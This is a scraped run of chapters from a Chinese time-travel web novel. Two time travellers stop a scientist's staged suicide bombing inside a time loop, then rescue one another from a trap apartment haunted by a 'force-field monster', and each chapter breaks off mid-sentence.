“谢了。”看起来以利亚开口都很勉强,事实上,他耳朵还是嗡嗡的,刚才的爆炸声仿佛打算在他脑壳里安家落户、大兴土木,他舔了舔嘴唇,舌头比罗布泊的沙子还干还涩。 布兰迪把橘子水递给以利亚:“喝了这杯,然后带着你的小可爱去老位置坐着吧,我保证赖达那个酒鬼不会去打扰你们。” 以利亚把橘子水一饮而尽,拉着莱纳德走开。 “你也记得刚才……对吧?”莱纳德惴惴不安地问,他看到以利亚脸上和身上没有伤口和血迹,心跳才平复了些。 “而且不止我的大脑记得。”以利亚活动着僵硬的肩膀,后脑勺的血管仿佛比平时粗了一倍,血液流过时“砰砰”直响。 “所以这是怎么回事?”莱纳德身体没什么感觉,只有耳朵因为刚才的巨响不太舒服,大概爆炸发生时以利亚把他保护得太好,但刚才的爆炸距离那么近,两个人即便穿着防弹衣也不可能这样全身而退。 以利亚伸过手来,捏了捏莱纳德的衣服前襟,酒渍摸起来仍然潮湿,但已经干了许多:“有一点能确定,银色子弹洒在你衣服上是十分钟前的事了,所以我们至少不是在做梦。” 酒吧里的空气温暖干燥,莱纳德却忽然感到一股凉意从后脖子钻进领口,仿佛忽然走进了十一月的料峭清晨。 “我们不会进入了某种虚拟游戏吧?你知道,就是死后自动读档重来的那种,直到完成游戏任务才能继续。”莱纳德总算想出一种不可怕的解释。 “什么虚拟游戏?” “呃,源代码?” “别瞎编词语。”以利亚说着径直走到刚才的事发地点——中枪的男人此刻又生龙活虎了,正在跟红发女伴碰杯,以利亚敲了敲他的桌子:“先生,方便借一步说话吗?”对方冲以利亚不耐烦地拧起了眉头:“什么事?” 以利亚没工夫浪费口舌,伸手就要把人拉起来,莱纳德赶紧插进来,挤出笑容,飞快说道:“布兰迪拜托我们来告诉你,你刚才点的这杯酒正好是店铺售出的第一千杯整,可以去吧台免费领取同款鸡尾酒一杯。” “什么玩意?”中年男人警觉地看了吧台一眼,布兰迪察觉到什么,冲这边露出迷惑的微笑。“我不……”中年男人刚说了两个字,以利亚就抓着他的胳膊用力把他拽了起来:“够了先生,如果你想活命,现在跟我们走。” “怎么回事?”中年男人提高嗓门,“再不放手我要叫警察了!你给我……”他的声音忽然撕裂,喉咙里冒出呕吐前那种咕噜声,以利亚立刻朝后转过身,锐利的目光扫向可能藏身枪手的地方。 没有人持枪,也没有人匆匆逃离。 中年男人在以利亚的手里软倒,他的红发女伴失声尖叫起来:“杀人啦!”她上次足够冷静,这次却叫得情真意切、花容失色,带着哭音喊道:“杰拉斯啊——” “快走!跑!”以利亚又听到了那种“哒哒”声,用力一推莱纳德,跟他跑了起来,身后,秒针走动的声音如同在催命一样,转眼化作一声巨响,爆炸的热浪瞬间把两人掀飞了出去。 “看好你的路!” 莱纳德没听见瘦高个的话,他倒抽了一口气,眼前的重影这才逐渐消失,他看到以利亚一把推开瘦高个,完全不理会对方的咒骂威胁和布兰迪的惊声叫喊,绕过吧台往后面走去。 “等等我!”莱纳德连忙跟上以利亚,心脏兀自砰砰狂跳,他摸摸自己的胸口,被酒液浸湿的部分变得冰凉粘手,绝没有虚拟游戏会做出这种细节。 监控室的门锁着,以利亚拽过莱纳德 12. 第六章:保卫杰拉斯 《时空旅行者漫游指南》全本免费阅读 “看好你的路!哎呦!” 赖达捂着鼻子后退几步,错愕万分地瞪着莱纳德,闷声道:“你、你敢打我!”鼻血从他的指缝间流出来,滴到了那只破破烂烂的凉鞋上。 莱纳德活动了一下指关节,不理会赖达色厉内荏地威胁,拉起以利亚就走,以利亚好像笑了一声:“打人?这不像你啊。” “第一次就想这么干了。”莱纳德回答,刚才的爆炸声在他的耳朵后面“突突”直响,他不用看以利亚的表情也知道对方肯定更难受,这一点上布兰迪说的没错,以利亚的脸色实在糟糕得很。 两人在卫生间外跟兜帽男汇合,后者默契地单刀直入:“你们俩没有跟其他人一起被重置,所以我猜,你们也是时间旅行者咯?” “也?”以利亚挑眉。 “我想我们算是同行。”兜帽男朝以利亚伸出手,“费林·奥尼尔。” 以利亚也伸出手,却没握住费林的手,反而一把抓住他的手腕,另一只手飞快地把他的袖子往上一拉,冷冷道:“我可不是你的同行,时间特工先生,现在告诉我,为什么重置这段时空?” 费林露出的手腕上戴着一块腕表,乍一看居然跟莱纳德自己戴的那个差相仿佛,但表带却是两条细细的金属链,交缠成“∞”的形状。 莱纳德想到之前和以利亚关于时间特工的谈话,对费林的戒备心不由得更强了些。 费林使劲也没能把手腕挣脱出来,只好恨恨道:“我们现在没有时间多说这些,除非你还想再尝尝爆炸的滋味。”他用黑漆漆的眼珠盯着以利亚:“第一次爆炸的时候你离得很近吧?别告诉我你不知道这意味着什么。” “意味着什么?”莱纳德忍不住问,以利亚刚朝他比了个安静的手势,费林就转过来,抢先回答道:“他的时间不多了,我们都是,就算处于重置时空,内部循环的同时,外部时间也仍然在流逝,只是缓慢得多,换句话说,你所经历的第一次爆炸仍然在发生,如果我们不赶紧找出凶手,你男朋友就要变成肉泥了。 “他不是我……”莱纳德深吸一口气,努力翻过这篇不提,现在不是废话的时候,“找到凶手就能改写那次爆炸?”他迟疑着:“我们是不是应该先找到炸弹在哪儿,我虽然不懂拆弹,但是……” “炸弹是远程遥控的,聪明鬼,必须找到凶手,阻止爆炸,我才能解除重置固定新的时间线,皆大欢喜。”费林翻了个白眼,“老天,就像在跟一堵墙解释,别再拿你无知的大眼睛干瞪着我了,动起来!好吗?” 但以利亚纹丝不动:“杰拉斯是谁?” “我们要保护的人,够了吗?”费林针锋相对,但以利亚的表情毫不退让,他只好咬牙切齿地跺了跺脚,压低声音说道:“杰拉斯·菲茨博格,这个时间域里最顶尖的科学家,他掌握着足以引领下一轮科技革命的纳米生物技术,所以,他不能死,看在上帝的份上,这回够了吧?” 以利亚说:“所以,我们接下来要解决的问题是,对谁来说,杰拉斯必须死。” “你是认真的吗?眼下的星际□□势,希望这场科技革命失败的人没有十万也有八千,现在做排除法是不是有点奢侈?”费林翻了个白眼,“听着,下次我们在监控室里全程观察,我看到你能打开那里的门了,然后锁定我们身藏袖珍手枪的刺客,明白了?” “你真以为那会有用?”以利亚毫不掩饰语气里的讽刺。 “那必须有用。”费林一字一顿。 但事实证明,他错了。 又经历两轮爆炸后,莱纳德意识到自己的耳鸣比刚才更加严重,他无视了赖达,在以利亚摇晃时扶着他坐下:“嘿,你怎么样?再坚持一下,我们离真相很近了。” “严重怀疑。”以利亚喘了口气,摆手拒绝了布兰迪递过来的白兰地酒,“半杯白水,谢谢。” “我们看过了监控录像,但没有看到枪手,杰拉斯中枪的时候根本没人抬手。”莱纳德说,“我们是不是根本找错方向了?” 以利亚一口气喝光了白水,勉强把喉咙里的铁锈味道压了下去,嗓音沙哑地说:“你算说对了。” “我们该怎么办?”莱纳德看着以利亚惨白的脸色,脑海里飘过费林关于“肉泥”的生动说法,他不觉得自己能承受这种结果。 “走,我们去找杰拉斯聊聊。”以利亚拽着莱纳德的胳膊站起来,然后靠在他肩膀上,把他的手腕朝自己拉过来,“不过在那之前,还有一件小事。” 以利亚一屁股坐到对面时,杰拉斯和红发女伴正相谈甚欢,被两位不速之客吓了一跳:“你们俩有什么事?” “杰拉斯,我需要跟你谈一谈。”以利亚松开领口,颧骨升起两团病态的殷红,“抱歉,我有点喘不上气来,是我的错觉吗?这个地方好像变热了。” 杰拉斯瞪着他:“你更需要医生,恕我直言。” “你知道吗?关于小口径子弹,有一点很有趣。”以利亚自顾自说道,“近距离一般会造成贯穿伤,但如果弹片碎裂或者弹头翻滚形成空腔效应,那可就不怎么幸运了,星芒炸裂,内脏破损,巴拉巴拉,总之一团糟。” “我不知道你在说什么,我看你是烧糊涂了。”杰拉斯作势要站起来,结果被坐在他旁边的莱纳德牢牢按住,忍不住抗议道,“你们疯了吗?喂,把你的脏手从我身上拿开!” 莱纳德充耳不闻,以利亚继续说:“另一件有趣的事,碎掉的弹片不会发出秒针的声音,更不会爆炸。” 杰拉斯的脸色变了。 “看在上帝的份上,你们他妈的在干什么?”费林忽然冲了过来,重重一拍桌子,瞪着以利亚,“打草惊蛇,你还嫌死得不够快吗?” “正相反,我活得正有趣呢。”以利亚悠然道,往椅背上一靠,“我们的好朋友杰拉斯可就不一样了。” “你在说什么呢?”费林压低嗓音,紧张地左右张望,他刚才的举动已经引起了一些人的关注,但他们当中没人看起来像杀手,当然,杀手看起来也不像杀手,可目之所及,每个人都在看监控录像时被他排除掉了。 忽然,费林慢半拍地理解了以利亚那句话的意思,不可思议地转头看向杰拉斯:“是你?” “你们到底是谁?”愤怒使杰拉斯的脸扭曲起来,莱纳德搭在他肩膀上的手腕正闪烁着蓝光,同时,他听到对方体内吓人的“哒哒”声终于停止了。 “简单,我们是不想被你炸死的人。”以利亚两手一摊,回答道,“所以,我拜托我的小伙伴用他的小小装置把你体内的□□解除了。”他胳膊肘撑在桌子上,上半身向杰拉斯倾过去:“但是为什么?杰拉斯,为什么你一心求死?还要制造出被谋杀的假象?” 杰拉斯的嘴唇翕动不止:“好吧,我告诉你。”他忽然露出一丝微笑,看着以利亚的眼睛,说道:“等我们 13. 第七章:空屋 《时空旅行者漫游指南》全本免费阅读 “我必须得问,你是怎么知道假装成学生就能拖住杰拉斯的?”费林问莱纳德,三个人正围在吧台边,布兰迪给每人调了一杯“螺丝起子”,作为解除炸弹危机的小小答谢,莱纳德那杯特意多加了橙汁。 莱纳德耸耸肩:“我不知道,但我当时都把他捧上天了,没人不想多听几句赞美,显然,炸弹自杀客也不例外。” “干得很漂亮。”费林冲他举杯。 莱纳德不好意思地笑笑,以利亚在一旁夸张地挑眉:“眼下就是例证。”立刻被莱纳德用胳膊肘怼了一下,忍笑揉着胳膊问:“所以,杰拉斯为什么要谋划这场爆炸?” “挑起政党矛盾,”费林叹气,“老教授前段时间被查出患了绝症,子女去世早,却偏偏有一个无法自理的三岁孙子需要人照看,所以沦为了某位政客的棋子,案子其实很简单。” 以利亚不以为然:“亏你们还把他当做科技革命引领人来保护。” “档案里写着杰拉斯·菲茨博格死于谋杀,间接导致核心技术多年无进展,”费林两手一摊,辩解道,“我又上哪儿知道他得绝症了?” 以利亚朝莱纳德投去一个“果然如此”的眼神,莱纳德用杯堵住嘴,努力忍住喉咙里涌上来的笑声,也许是“螺丝起子”上头了,危机解除让他感到格外轻松愉快,他低头用手指搓着酒杯口的彩虹色小雨伞——那也是布兰迪坚持给他插上的,问费林:“既然爆炸被阻止,你也固定了时间线,是不是说明我们可以离开了?” 他唯一担心的是以利亚的身体状况,但后者向他再三保证,第一次爆炸带来的影响已经随着时间线固定全部消失,而且他自己也不耳鸣了,大概算个好兆头。 “当然,”费林点点头,“如果我是你们,会赶在媒体记者涌进酒吧之前离开的。”他说着仰头把酒一饮而尽,“反正我准备走了。” 以利亚拦住他:“要搭个顺风车吗?我们可以把你送到附近的时空点上,或者,再找个有趣的地方野餐,我一直觉得风琴河岸的七月星空和红葡萄酒很相配,怎么样?”他挤挤眼睛,“同行之间增进互相了解,你知道的。” “谢了。”费林哈哈一笑,抬手亮出自己的“∞”手环,“我也有交通工具,而且,总部还在等着我回去汇报工作,被他们发现我擅自度假,大老板可是会扣我奖金的。”说这话时,费林脸上似乎闪过一抹阴影,但莱纳德正低头喝酒,没有注意到。 “再会,”费林跳下椅子,用力一握以利亚的手,又朝莱纳德伸出手,“希望真的能再会,谁知道呢?” “哦,我们一定会再见面的,费林。”莱纳德微笑,脸因为喝酒变得红扑扑的,他用力握住费林的手,一阵冲动忽然涌上来,他脱口而出,“或者其实该叫你奥多娜?” ——不止是藏在兜帽下的白皙皮肤和瘦小身材,费林的举止和口吻都让莱纳德不断联想到那条讯息,尽管这跟他最开始的直觉大相径庭,但他知道自己是对的。 费林惊讶地向后一仰,露出瞪得圆溜溜的黑眼睛:“说实话,我以为在让我吃惊这一点上,你已经不会再有新招了。”她另一只手拨开兜帽,冲莱纳德嫣然一笑,“看来我们有必要重新认识一下,奥多娜·霍普,我执行任务从不用真名,所以你究竟是怎么知道的?” “是你发消息给我的。”莱纳德看着对方弧度美妙的嘴唇,心想自己居然没在第一眼就认出她是个女孩子,也够眼拙的,他忽然意识到自己还握着对方的手,手指立刻一松,幸好这会儿脸也不会更红了。 “我很肯定我没有。”奥多娜说。 “暂时没有罢了,对于时间旅行者来说,一切皆有可能,对吧?”莱纳德回答,他很高兴自己作为时间旅行者的直觉并没有随着失忆一块消失,基于同一种直觉,他完全相信他们未来还会再见。 “当然,”奥多娜点点头,“一切皆有可能。” 跟奥多娜告别后,以利亚评价莱纳德“约会像个书呆子,但骗起人来却像个情场老手”,再次被莱纳德抗议:“这不是约会!” “我们也算刚死里逃生,表现乖点,好吗?”莱纳德跟着以利亚走到酒馆后的隐蔽角落,抱起胳膊靠在墙上,等他把方框画好。 “嘿,死里逃生是咱们的家常便饭,你不能拿它作为改变我的理由。” “家常便饭?死里逃生?” “重点其实在于后两个字。” “等等,你刚才是承认自己不乖了吗?” “上次我检查宇宙通行ID,放荡不羁爱自由还是我的合法中间名。” “根本没有宇宙通行ID这种东西,还有,放荡不羁跟不乖是两个意思。” “是吗?” “你该重温一下小学语文,教授。” “他们会因为我卓尔不群把我逐出课堂的。” “没人会因为这种理由把学生逐出课堂。” “那就是因为我会用卓尔不群这个词,这总不是小学语文吧?”以利亚说着完成方程式的最后一笔,带着赞赏地神情端详了几秒,回头对莱纳德说,“风琴河岸的七月星空,全年中星星最多的月份,如果你挑对时间,甚至能在明亮的星光下读书,怎么样,准备好了吗?” 莱纳德右手拎着布兰迪酒馆里带出来的红葡萄酒瓶,摇晃了一下:“准备好了,你先请。” 他跟在以利亚后面跨过时空门,那一瞬间,河畔晚风的湿润气息似乎拂过了他的面颊,但当他的脚踏上实地,那气息便消失了,他的鞋踩在了木质地板上,发出“橐”的一声闷响。 眼前是一间空荡荡的卧室,以利亚不见踪影,莱纳德立刻转身,时空门也紧跟着消散在空气中。 莱纳德叹气,只有一点能肯定,这里不是七月星空下的风琴河岸。 卧室外是客厅、卫生间、厨房和阳台,莱纳德挨个转了一圈,除了到处灰尘都很重、衣柜里还有蟑螂之外别无发现,事实上,这就是一间又脏又破的普通公寓。 但当莱纳德想找出口离开时,却发现大门的门把手是画上去的,不仅如此,拉开窗帘后,有一扇画得相当逼真的窗户,站在旁边往下看,能看到楼下街道上的绿树和报亭,没有行人,当然了。 莱纳德开始检查每个柜子,连冰箱都没放过,但冰箱里只有一打罐装可口可乐,他沮丧地关上冰箱门,随手把酒瓶搁到餐桌上,桌面灰蒙蒙的,他用手拂了一下,被拂过的地方还是灰蒙蒙,半点灰尘都没擦掉,好像已经牢牢长在了餐桌上。 “以利亚!你在吗?”莱纳德忽然提高嗓门叫了一声,回音把自己都吓了一跳,后半句不由得弱气了些,“如果你想给我个惊喜,现在就是个好时候!” 以 14.第八章:海子力场 《时空旅行者漫游指南》全本免费阅读 米尔顿醒来时,看到沃尔夫正在舔那个强盗的脸,他自己则躺在客厅的沙发上,身上还贴心地盖着块毯子,膝盖倒是又肿又痛,大概是刚才晕倒时磕的,除非那个强盗把他的两片膝盖骨卸下来卖到了黑市。 “喝水吗?”强盗笑嘻嘻地问他,然后出乎意料地开始自我介绍,“以利亚,如果我没猜错的话,你就是米尔顿·巴奇,这间房子的租客。” 米尔顿咽下一口唾沫:“别、别伤害我,值钱的东西都在床头柜里,还、还有鞋柜。” 以利亚礼貌地微笑起来,好像对方刚讲了个不怎么好笑的笑话:“我很确定我要的东西不在床头柜里,或是鞋柜。”他目光在客厅里扫了一圈,最后落到米尔顿身上:“希望你可以配合我。” 米尔顿喉咙里涌出哭音:“我……我没准备好……” 以利亚一愣:“准备什么,你要喝水还是吃东西?”他刚才检查过厨房,巴奇先生的冰箱里只有一打罐装可口可乐和半根腌黄瓜,水槽里的餐具没一个干净,有几个甚至已经养出了一层小生物,拿来喝水恐怕有些冒险。他想了想,改口问道:“或者喝罐可乐?” “求你了,放过我吧。”米尔顿没听到对方的话,只用手死死揪住自己身上的小毯子,仿佛那是根救命稻草,“我保证不会报警的。” 以利亚严肃地说:“你可以报警,但在找到我的朋友之前,我是不会离开的。” “啊?”米尔顿呆呆地看着以利亚,晕倒前的记忆复苏,但并没有让他感觉好些,“哦,你、你说你的朋友在我家里,需要我帮你。” “没错。” “所以,你不是来打劫我的?” “当然不是。” “好吧……但这屋里只有我一个人住。”米尔顿咽了口唾沫,然后指了指临阵倒戈、趴在以利亚臂弯里摇尾巴的柯基,“还有沃尔夫。” “我知道,”以利亚的灰眼睛看着他,仿佛洞察一切,“不过我猜,你最近也察觉有地方不对劲,我没猜错吧?” “这……” 米尔顿最后不得不同意以利亚的话,所以此刻,他正看着以利亚不知从哪里搞来一堆形状各异的金属零件,在客厅里组装出一台方方正正、长着两根天线的机器,有点像老式电视机。 “这是什么东西?”他忍不住问。 “啊,我十岁的生日礼物。”以利亚拍拍手上的灰,用力按下机器上方的红色圆按钮,说道,“我曾经有个很酷的家庭教师,每年送我一个惊喜,这就是其中之一,十岁真是个美妙的年龄啊……不过那是很久以前的事了。” “但我问的是……算了。”米尔顿预感到就算以利亚解释自己一个文科生也听不懂,他不安地搓着手,看到机器“嗡”的一声亮起来,屏幕上跳出许多绿色的字符,忍不住问:“这是什么?古埃及语?蝌蚪文?” “高级空间语言。”以利亚回答,一边低头调试机器,“能够实现多维空间交互。” 米尔顿连连摇头:“慢点讲,没跟上。” 以利亚说:“你可以把这间公寓想象成一台电话,然后把我朋友在的地方想象成另一台电话,因为某种隔阂的存在,现在这两台电话没办法见面,但是,只要知道对方的号码,我们就可以拨号呼叫了——叮铃,大功告成。” 米尔顿似懂非懂:“所以,你现在就是在拨号?” “查号。”以利亚指了指屏幕上乱跳的字符,“等这一行字不再变化,这一行数字大于3680,我们就能确定‘号码’了。” 米尔顿盯着屏幕,没一会儿就觉得眼前全是绿色重影,他低头揉揉眼睛,问:“虽然我不太关注科技领域,不过美国什么时候有这种技术的?等等,不会是那个德特里克堡秘密科学研究所搞出来的吧?” 以利亚含糊道:“估计是。”他从机器前抬头,找借口打发对方:“计算出结果还得一阵子,你要是觉得困了可以回去睡觉,放心,不管你打开门跑出去前在害怕什么,有我在它都不会去骚扰你的,我保证。” “拜托,现在我怎么睡得着?”米尔顿不仅毫无困意,半夜开始的一连串意外简直让他倍加兴奋。 以利亚嘟囔:“这我怎么知道?” 话音未落,屏幕上的字符忽然扭曲起来,原本闪烁的绿色荧光在一阵闪烁后竟然变成了暗红色,仿佛凶杀案里的血腥线索。 “这是什么?”暗红色字符牢牢吸住了米尔顿的目光,他觉得那东西好像在颤抖尖叫。 以利亚表情严肃,字符在他的灰眼睛里映出两个小小的倒影,他慢慢说道:“他是我的。” “你说什么?”米尔顿一愣。 “我是说,”以利亚指着屏幕,语气凝重,“这行字写的是‘他是我的’。” “……听着有点变态。”米尔顿评价。 莱纳德眼看着客厅里的绿色字符一行行跳出来,漂浮在空气中,但还不等他凑过去看个究竟,那些字符便又消失了。 “以利亚,是你吗?”莱纳德对着空气叫了一声。 没有回应。 “呃,或者别的人?有人吗?喂!” 仍然没有回应,但沉寂的空气中忽然蹦出一颗火星似的暗红色荧光粒,莱纳德屏住呼吸,紧接着,暗红色荧光变得更多、闪烁更长久,在空气中蜿蜒成了奇特的形状,像一行字。 “行吧,至少不是美国人或者俄国人,该不会是汉字吧?”莱纳德喃喃自语,他下意识伸手去碰那些暗红色字符,手指顿时一阵刺痛,他立刻把手收回来,向后退得远远的,低头一看,只见指尖上已经多出了一排细细的伤口,很快就渗出血珠来。 莱纳德瞪着自己的手指,又看看抖动着消散殆尽的暗红色荧光,心想,这东西就跟长着牙似的。 米尔顿看着以利亚在机器前鼓捣了半天,仍然没把屏幕上的怪异字符消除掉,忍不住问:“你的机器报废了?” “没有!”以利亚立刻反驳,但过了一会,他又沮丧地补充,“只是一时半会儿修不好而已。” “那我们岂不是回到原点了?”米尔顿在沙发上坐下来,“还有其 15.第九章:浴缸大作战 《时空旅行者漫游指南》全本免费阅读 客厅里,以利亚看着米尔顿,说道:“我们要对付的是异变的海子力场怪,但没时间解释那么多,你只需要记住一点,力场怪不擅长处理液体,水、血、饮料、洗衣液……所以我朋友在那边流的血才会滴在这边的地板上,同理,我们这边的液体也完全有可能流到那边。” 米尔顿表示怀疑:“‘可能’听起来不是很靠谱啊,你怎么保证水能流过去?而且流过去又能怎么样?” “我不能保证。”以利亚说,“所以我们需要很多很多的水,听着,现在去把浴缸的水放满,家里有盐吗?很好,有多少放多少。等等,先用水把头发和衣服沾湿,如果你不介意把自己浇成落汤鸡的话,那样才最安全。快去!” “好、好。”米尔顿匆匆跑进卫生间,不一会儿水声就响了起来。 以利亚目光在客厅里逡巡,喃喃道:“你在哪儿呢?莱尼,告诉我你在哪儿。”他在客厅里挪动脚步,试图捕捉不同寻常的动静,或是最细微的血的味道,忽然,他眼角余光瞥到餐桌上好像多了个东西,但转过身时,桌面上却空空如也。 “红葡萄酒,希望是……幸亏没听布兰迪的白葡萄酒建议。”以利亚伸手扫过餐桌上的空气,却没碰到阻碍,他又不甘心地来回扫了几遍,嘟囔道,“帮帮忙,你的外号可是奇迹佳酿,只是多维空间而已,来吧,你能行的。” 终于,“叮”的一声响,以利亚发誓他的手碰倒了莱纳德的酒瓶,很快,红色液体在桌面上迤逦开来,他兴奋地叫了一声:“大功告成!” 他用手指蘸着酒液,飞快地在桌面上写下两个词:浴缸、水。字迹没有消失或者乱成一团,是个好兆头。 另一个好兆头,酒液没有继续扩散,说明莱纳德及时扶起了酒瓶,也就是说,他一定能看到桌面上的留言。 以利亚振奋精神,又写下第三个词:狗。 当然,不能丢下沃尔夫不管。 “以利亚,最好是你。”莱纳德瞪着红酒在桌上留下的惊人字迹——浴缸、水、狗,这是什么意思?外星谜语?日本俳句?除了“给狗洗澡”之外莱纳德想不出这几个词能有什么关联,更想不出以利亚打算告诉他什么。 背后忽然响起小动物的呜咽,莱纳德转身,只见沙发上一只芥末色的威尔士柯基犬正冲他龇牙,却又色厉内荏地缩成一团,瑟瑟发抖。 “你好啊,线索一号。”莱纳德朝沙发走过去,嘴里发出友好的“啧啧”声,上前试探着把柯基抱起来,“好狗狗,是谁把你丢到这儿的?嗯?” 小狗在他怀里挣扎了一会儿,露出了沾着血迹的前爪,莱纳德一边安抚它,一边拉过它的前腿检查,爪子没有受伤,所以血迹肯定是在别的地方沾到的,莱纳德搓搓自己手指上的伤口,喃喃道,“线索二号,好狗狗,看来我们运气还不错。” 他往浴室走去,按照以利亚留下的三个词指示,下一步一定是用水把浴缸灌满,至少值得一试。 柯基忽然狂吠起来,莱纳德在卫生间外停下脚步,任由小狗在他手臂间挣扎,他手一松,小狗立刻跳到地上,一溜烟跑回了客厅。 浴室外,猩红的荧光字符正张牙舞爪地扭动、扩张,几乎是一眨眼就铺满了整个浴缸。 另一边。 米尔顿浑身湿透,一边手忙脚乱地从厨房接水,用盆运到浴缸里,一边崩溃道:“为什么厕所水龙头偏偏这时候坏掉了?别告诉我是你说的那个海子鬼给弄坏的!” “是海子力场怪。”以利亚也在接水,但并不比米尔顿快多少,而且更糟糕的是,水龙头里的水流似乎越来越细了,“它一定是把卫生间的水搞到其它维度去了,别担心,我说过力场怪不擅长对付液体,转移卫生间的水说不定就是它的极限。” “我不喜欢‘说不定’!” “那‘搞不好’呢?” “这个破浴缸根本灌不满,我发誓,水绝对比刚才更少了!”米尔顿拎着盆气喘吁吁,厨房到浴室的距离从来没有这么遥远过,“怎么办?我们一边倒水,力场怪一边转移水,这样下去永远没完没了。” “我们动作还不够快。”以利亚也注意到了,这个力场怪对液体的控制能力比他想得要强得多,也许还要聪明得多,他把厨房里所有柜门都拉开,东翻西找,“我们需要水管,很长的水管,你家里有橡皮管子吗?” “你说呢?”米尔顿无语道。 以利亚把手伸进上衣口袋:“好吧,我以后肯定会后悔的……但没别的办法了。”他掏出金属笔,在厨房水龙头下方飞快地画出一个荧光圆圈,接着是一连串运算,幸亏是这么短距离的空间转移,方程式不用太过复杂。 米尔顿在一旁目瞪口呆:“你在干什么?等等,”他忽然弯腰从侧边看过去:“水流到哪儿去了?老天爷,你把我的水龙头变成外星水龙头怪物了?” “闭嘴,跟我去浴室,把盐罐子拿上!” 莱纳德试过了卫生间以外的所有水龙头,但没一个能滴出水来的,他在客厅里焦躁地兜了几个圈子,柯基一直围在他脚边打转,半点忙也帮不上。 剩下的半瓶红酒是最后一招,莱纳德不希望现在就动用它,他从客厅转到厨房,手指插进头发里一通乱揉:“水、酒、血……想想看,还有什么……”冰箱里的可乐蓦地从脑海里跳出来,他连忙冲过去打开冰箱,谢天谢地,六罐可口可乐正整整齐齐地摆在里面。 约翰·德尼——莱纳德的高中同桌,上帝保佑他——教过他一个据说很酷的喝可乐的办法,摇晃可乐,然后在可乐罐上划一道小口子,对准嘴,可乐就会像美妙的啤酒一样气泡飞溅地喷进嘴里。 “如果你想整人,”德尼这样告诉他,“那就把可乐多摇晃一会儿,保管那玩意儿能喷得比尿还远。” “希 16.第十章:风琴河岸 《时空旅行者漫游指南》全本免费阅读 “我抓住你了!莱尼!别怕,我抓住你了,呼吸,深呼吸!”以利亚在莱纳德耳边大声喊道,上帝啊,他的声音简直比葡萄酒还甜美,莱纳德大口喘着气,右手勾住以利亚的肩膀,被对方用力提起来拉出了浴缸。 “狗——”莱纳德回头看向浴缸,只见缸里又是可乐又是葡萄酒,呈现一片浑浊的红褐色,缸上面飘着三个绿色的光圈,水还在源源不断地流进去,水花四溅,他这辈子都没见过比这更奇怪的洗澡水。 “沃尔夫好得很,别担心。”以利亚不知为何也浑身湿透,他伸脚把地上的瓶瓶罐罐和碎瓷砖块拨开,清出一条路来,扶着莱纳德出去,把他按进沙发里,“我们安全了,我把你拉过来了,我得喘口气,呼——”以利亚还没说完就一屁股坐到地板上,抹了把脸,终于也松了口气:“他妈的,好险。” 莱纳德低头看着自己的手心,看完左手看右手,茫然不解:“我记得我拿水果刀在手上划了一刀,怎么没有伤口?”手指尖上的细小伤口还在,是那些咬人的字符留下的。 “或许刀太钝了,或许你没有用上力,毕竟当时情况那么混乱,而且别忘了,你刚才跨越了多维空间。”以利亚拉过莱纳德的左手端详片刻,又换成右手,“我没有看到伤口或者伤疤,别担心,你好得很。” 莱纳德用力把手抽回来,瞪着以利亚:“是我的错觉?还是你在搪塞我?这是我自己的手,有没有被刀割开我还是感觉得出来的。”他在翻开口袋想找到那把水果刀,却一无所获,该死,一定是被丢在那边了。 以利亚在莱纳德站起来去浴室找刀时拉住了他,灰眼睛里闪烁着含义莫名的光芒:“嘿,重要的是你回来了,对吗?”莱纳德不由自主坐回沙发里,心想,他迟早被这双波塞冬之眼骗得找不着北。 “呃,我们安全了?”米尔顿终于忍不住在一旁发问,目光在两人身上逡巡着,沃尔夫余惊未消,在他怀里抖成了筛子,他自己也差相仿佛。 莱纳德这才注意到客厅里还有个落汤鸡:“你是谁?” “我是这间房子的主人,好吧,只是租客。”米尔顿好奇地打量着莱纳德,似乎想搞清楚他是不是外星人,“你又是谁?” “莱纳德·杜弗伦。”莱纳德冲米尔顿点点头,察觉到对方表露出的友好,“谢谢你刚才帮我。”这话完全是客套,刚才在浴室这人压根没露过面。 “呃,不客气。”米尔顿笨拙地朝莱纳德伸出手,“米尔顿·巴奇,我是说,我的名字。” “你好。” “行了,大功告成!”以利亚站起来,甩甩湿淋淋的头发,“等我把力场绝缘器装好,这个力场怪就不再是个麻烦,公寓恢复平静,你们两个患难朋友也就该说再见了。”他朝米尔顿眨眨眼睛,又说,“在那之前,你还可以把沃尔夫介绍给我朋友,他很喜欢狗的。” 等莱纳德和以利亚终于如约来到七月星空下的风琴河岸,已经是几个小时以后了,告别米尔顿,两人先回到金莫顿实验室修整了一番。 洗过澡换过衣服,莱纳德脑袋上顶着一块白毛巾擦头发,伸手推开更衣室的门:“以利亚,我找不到这件马甲的……”他忽然张大嘴巴,呆呆地看着屋里多出的传送门,门外是一片绿莹莹的草地,以利亚正在星光下冲他微笑。 “找不到什么?”以利亚问,他换下了那身仿佛已经穿了一万年的棕色皮大衣,刮了胡子理了头发,深灰色休闲西装居然衬得他有几分风度翩翩。 “……没什么。”莱纳德跨过传送门,河畔湿润的晚风吹拂过来,这次总算没有消失,他看到草地上铺开的格子野餐布,和上面摆着的葡萄酒和各色点心,忍不住惊讶道,“你什么时候准备好的?” 以利亚双手插在口袋里,笑得有几分得意:“对合格的时空旅行者来说,时间只是个相对概念。” “臭显摆……”莱纳德小声嘟囔,他在草地上坐下,仰头望天,以利亚说的没错,夜空里的星星多得好像晚礼服上的钻石,柔和的银色光辉下,别说看书,绣花都不是问题。 以利亚拔出酒瓶塞,白葡萄酒独特的清甜飘出瓶口,他一边给莱纳德倒酒,一边说:“我回了一趟布兰迪酒馆,但布兰迪只肯卖给我白葡萄酒,她坚持说你肯定更喜欢这一瓶的味道,我争不过她,这个女人固执得很。” “嗯哼。”莱纳德其实对酒兴趣寥寥,高中毕业舞会上的龙舌兰是他喝过最烈的酒,那东西害他至今不记得自己那晚究竟怎么回到家的,至于上了大学,他只喝奥利匹亚淡啤酒。 以利亚继续说:“点心是我特意跟克罗莱娜城最有名的甜点师定做的,如果我没记错的话,都是你喜欢吃的口味。” 莱纳德捏起一枚玛德琳,他不记得自己吃过多少次克罗莱娜甜点师的著名甜点,甚至不记得克罗莱娜是在美国还是在某个拥有三个太阳的外星球,当然了,以利亚肯定知道得更清楚。 “你好像有点心不在焉?”以利亚注视着他。 莱纳德把甜点放回去,叹了口气:“我不明白,你为什么大费周章地准备这个星光野餐,别误会,我很喜欢,那些点心闻起来香极了。”他抬起眼睛,直视以利亚:“但说实话,你把我搞糊涂了。” “好吧。”以利亚放下酒杯,垂眸思索了片刻,慢慢道,“我是在说‘对不起’,既为了刚才的意外,也为了之前的一切。” 